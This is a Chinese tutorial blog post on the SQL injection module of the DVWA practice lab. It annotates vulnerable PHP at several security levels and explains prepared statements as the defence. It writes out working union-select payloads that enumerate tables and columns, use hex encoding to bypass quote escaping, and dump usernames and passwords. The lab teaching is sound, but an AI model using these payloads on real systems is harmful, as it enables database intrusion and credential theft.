DVWA靶场保姆级通关教程--07SQL注入下

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


前言

书接上回、这里直接从源码分析开始,直接演示SQL注入


一、medium级源码分析

<?php

// 判断是否点击了提交按钮(即是否发送了POST请求)  
if( isset( $_POST[ 'Submit' ] ) ) {
    // 获取输入的id参数  
    $id = $_POST[ 'id' ];

    // 使用 mysqli_real_escape_string 对输入的id进行转义,防止SQL注入(但未加引号,仍有注入风险)  
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    // 构造SQL查询语句,注意此处未对 $id 加引号,会导致数值型注入漏洞  
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

    // 执行SQL语句,若失败则输出错误  
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // 遍历查询结果  
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // 提取每一行中的 first_name 和 last_name 字段  
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // 将结果输出给用户  
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
}

// 以下部分用于 index.php 页面统计用户数量  
// 在这里也设置是为了保持所有 source 脚本格式一致,统一在此关闭数据库连接  

// 构造查询语句,统计用户表中的总记录数  
$query  = "SELECT COUNT(*) FROM users;";

// 执行统计查询  
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( 
    '<pre>' . 
    ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : 
    (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . 
    '</pre>' );

// 获取查询结果中的记录数  
$number_of_rows = mysqli_fetch_row( $result )[0];

// 关闭数据库连接  
mysqli_close($GLOBALS["___mysqli_ston"]);
?>

具体来说,这里的mysqli_real_escape_string()函数 会对以下字符加上反斜杠:

  • 单引号(')变成 \'

  • 双引号(")变成 \"

  • 反斜杠(\)变成 \\

  • NULL 字符变成 \\0

  • 换行符(\n)变成 \\n

  • 回车符(\r)变成 \\r

  • 等等

 

1.判断注入点:修改字段为1',请求有回显的报错,而且明确就是单引号的注入报错,这是字符型注入的标志:

2.判断字段数

输入id=1 order by 2#,查看返回数据,同样的当报错时,说明正确的字段数为n-1

这里正确的字段数为2

3.判断具体哪些字段有回显

联合查询union select:

输入-1 union select database(),user()# 查询数据库和用户名,查看返回数据:

输入-1 union select version(),@@version_compile_os# 查询数据库版本和操作系统,查看返回数据:

3.获取表名:


输入-1 union select table_name,table_schema from information_schema.tables where table_schema= database()#查询表名: 

这里只有两个字段会回显所以只显示了两个表名,如果要获取所有的表名可以像下面这样:

-1 union select hex(group_concat(table_name)),table_schema from information_schema.tables where table_schema= database()#

所有的表名显示为一个字段的16进制数,解析这个16进制数可以看到所有的表名

 4.获取表中字段名:

-1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

获取字段名的时候,会没有反应,因为源代码对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x7573657273


输入-1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273# users十六进制数为0x7573657273 ,查看返回数据:

-1 union select 1, hex(group_concat(column_name)) from information_schema.columns where table_name=0x7573657273#

5.获取表中数据:

输入-1 union select user,password from users#,查看数据:

也可以用low级别的让所有的用户名和密码显示到一起

二、high级别源码分析

<?php

// 检查是否存在有效的会话id(即用户已登录并具有有效会话)  
if( isset( $_SESSION [ 'id' ] ) ) {
    // 获取用户id(假设它是从会话中传来的)  
    $id = $_SESSION[ 'id' ];

    // **存在SQL注入漏洞**:直接将未处理的用户输入($id)插入到查询中  
    // 如果 $id 中包含恶意的 SQL 代码,攻击者可以通过此漏洞进行SQL注入攻击
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

    // 执行SQL查询,如果执行失败则输出错误信息  
    // 如果查询失败,提示 "Something went wrong."  
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // 处理查询结果  
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // 提取查询结果中的 first_name 和 last_name 字段  
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // 向用户输出结果  
        // 显示用户的 ID、名字和姓氏  
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    // 关闭数据库连接,确保每次查询后都进行关闭  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

    • 可以看出,点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数为1;
    • 其他步骤跟low和medium是一样,然后爆账号密码,输入-1' union select user,password from users#,查询返回数据:

    三、impossible级别源码分析 

    <?php
    
    // 检查是否通过 GET 请求提交了 'Submit' 参数  
    if( isset( $_GET[ 'Submit' ] ) ) {
        // 检查 Anti-CSRF(跨站请求伪造)令牌,确保请求是合法的,避免 CSRF 攻击  
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // 获取用户输入的 'id' 参数(来自 URL 查询字符串)  
        $id = $_GET[ 'id' ];
    
        // 判断输入的 id 是否为数字,如果是,则继续后续操作  
        if(is_numeric( $id )) {
    
            // 使用 PDO 预处理语句来防止 SQL 注入
            // 通过 prepare() 方法预先准备 SQL 查询,使用占位符 :id 替代直接插入 $id
            $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
    
            // 绑定参数,将 $id 绑定到 :id 参数,并指定其类型为整数 (PDO::PARAM_INT)  
            $data->bindParam( ':id', $id, PDO::PARAM_INT );
    
            // 执行查询,获取用户数据  
            $data->execute();
    
            // 获取查询结果
            $row = $data->fetch();
    
            // 确保查询结果只有 1 条记录  
            if( $data->rowCount() == 1 ) {
                // 提取查询结果中的 first_name 和 last_name 字段  
                $first = $row[ 'first_name' ];
                $last  = $row[ 'last_name' ];
    
                // 向用户显示查询结果  
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
        }
    }
    
    // 生成 Anti-CSRF token,确保后续请求的合法性  
    generateSessionToken();
    
    ?>
    

    主要安全防护措施:

    1. Anti-CSRF Token

      • 在操作之前,代码首先检查了 Anti-CSRF token 来防止跨站请求伪造(CSRF)攻击,确保请求来源是合法的。这是提高安全性的一个重要步骤,确保用户提交的表单请求是由合法用户发起的。

    2. 用户输入验证

      • 代码首先检查用户输入的 id 是否是数字(通过 is_numeric())。这样可以避免恶意用户提交非数字字符进入 SQL 查询中,减少了 SQL 注入的风险。然而,这仅仅是一个初步的防护措施,因为即使输入是数字,也可能存在其他安全问题(比如通过更复杂的输入绕过此检查)。

    3. PDO 预处理语句

      • 使用了 PDO(PHP 数据对象) 和预处理语句(prepared statements)。这是一种防止 SQL 注入的最佳实践。通过预处理语句,查询和数据被分开处理,输入的参数(例如 $id)通过占位符 :id 传递给数据库,而不是直接将其嵌入 SQL 查询中。这有效避免了 SQL 注入的可能性。

    4. 参数绑定

      • 使用 bindParam() 方法将用户输入的 $id 与 SQL 查询中的 :id 参数绑定,并指定其为整数(PDO::PARAM_INT)。这种方法确保了数据类型的安全性,避免了数据类型不一致可能带来的问题。

    5. 查询结果数量检查

      • 使用 rowCount() 方法确保查询结果只有一条记录,这样可以避免从数据库中获取到多个或没有匹配的用户记录,确保数据的准确性和安全性。

    6. 什么是预处理?

    “通过预处理语句,查询和数据被分开处理”是指在使用 预处理语句(prepared statements)时,SQL 查询和用户提供的数据被分开处理,从而避免了将用户输入直接插入到 SQL 查询中,避免了 SQL 注入的风险。

    具体来说,预处理语句的工作方式如下:

    1. 准备阶段(Prepare)

    在这个阶段,SQL 查询被发送到数据库服务器,但是查询中的参数部分(比如 WHERE user_id = :id)并没有直接使用用户输入的数据,而是使用占位符(如 :id)来代替数据。这个查询就像一个“模板”,它告诉数据库如何执行查询,但并没有指定具体的数据。

    例如:

    SELECT first_name, last_name FROM users WHERE user_id = :id;
    

    在这个例子中,:id 是一个占位符,它代表一个变量,但它的值暂时是未知的。数据库首先解析并准备这个查询,但并不会执行实际的数据库操作。

    2. 绑定参数(Bind)

    在准备好查询后,程序通过绑定操作将实际的数据(即用户输入的 $id)与占位符(:id)关联起来。这里的关键是,数据库并不知道参数的具体值,它只知道这些占位符代表某些数据。

    $data->bindParam(':id', $id, PDO::PARAM_INT);
    

    这里的 $id 是用户输入的实际数据,bindParam() 方法会将这个值绑定到查询中的 :id 占位符上,并指定它的类型(例如:整数 PDO::PARAM_INT)。

    3. 执行阶段(Execute)

    在执行阶段,数据库会用绑定的值替换占位符(:id),然后执行查询。由于查询和数据在两个不同的步骤中被处理,数据库引擎能够确保查询结构不会被篡改,也能安全地插入用户数据。

    执行时,数据库会将 $id 替换占位符,并执行查询:

    SELECT first_name, last_name FROM users WHERE user_id = 123;
    

    这时,数据库会查询 user_id = 123 的记录。

    预处理语句的好处:

    • 防止 SQL 注入:因为 SQL 查询结构(如 SELECT ... FROM ... WHERE ...)在发送到数据库时是固定的,用户数据仅仅作为参数绑定给占位符,所以即使用户输入恶意的 SQL 语句(例如 ' OR 1=1; --),也不会改变查询的结构。

    • 性能优化:预处理语句在第一次执行时会被编译和缓存,后续相同的查询可以直接使用缓存的执行计划,提高性能。

    • 可读性和安全性:使用占位符和绑定参数,使得代码更清晰和易于维护,同时增强了安全性。

    总结:

    通过预处理语句,查询和数据被分开处理,意味着 SQL 查询的结构与实际的数据(例如用户输入)是分开的。数据库首先接收的是一个结构化的查询模板,数据仅在执行时被绑定进去,这样可以有效防止 SQL 注入攻击。

    ### 如何搭建DVWA靶场 #### 准备工作 为了成功部署DVWA(Damn Vulnerable Web Application),确保环境已经安装了必要的组件,比如Apache服务器、PHP以及MySQL数据库。这些通常可以通过XAMPP, WAMP或者LAMP栈来实现一键安装。 #### 文件放置位置 将下载得到的`DVWA-master.zip`文件解压缩后,把其中的内容移动至Web服务根目录下。对于不同的操作系统和开发环境而言,此路径会有所不同: - 对于Windows环境下使用PhpStudy的情况,应该将解压后的项目文件夹放到`\PHPTutorial\WWW`这个位置,并可以将其名称更改为`dvwa`以便记忆[^1]。 - 如果是在Linux系统上操作,特别是采用Kali Linux作为主机的情况下,则推荐通过命令行的方式执行如下指令:`mv DVWA-master /var/www/html/dvwa` 来完成相同的操作[^2]。 #### 设置权限与配置 由于安全原因,默认情况下某些文件可能不具备足够的读写权限,这会影响应用程序正常运行。因此需要调整相应文件夹及其内部资源的访问控制列表(ACLs)。具体做法取决于所使用的平台,在大多数类Unix系统中可利用chmod工具更改权限设置;而在Windows平台上则需借助属性对话框中的共享选项卡来进行适当修改。 另外还需注意的是,如果计划让DVWA连接到外部数据库存储数据的话,那么还需要编辑位于应用根目录内的config.inc.php文件,按照实际情况填写正确的DBMS连接参数。 ```bash sudo chown -R www-data:www-data /var/www/html/dvwa/ sudo chmod -R 755 /var/www/html/dvwa/ ``` 以上命令适用于基于Debian系列发行版(如Ubuntu,Kali)上的Linux系统,用于赋予web server用户对该网站目录完全控制权的同时保持其他用户的只读权限。 #### 启动服务并测试 最后一步就是启动所有的后台进程和服务程序,包括但不限于HTTP(S) Server (e.g., Apache), PHP-FPM 和 MySQL Database Management System。当一切准备就绪之后打开浏览器输入http://localhost/dvwa地址即可看到登录界面,这意味着整个安装过程顺利完成!
    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值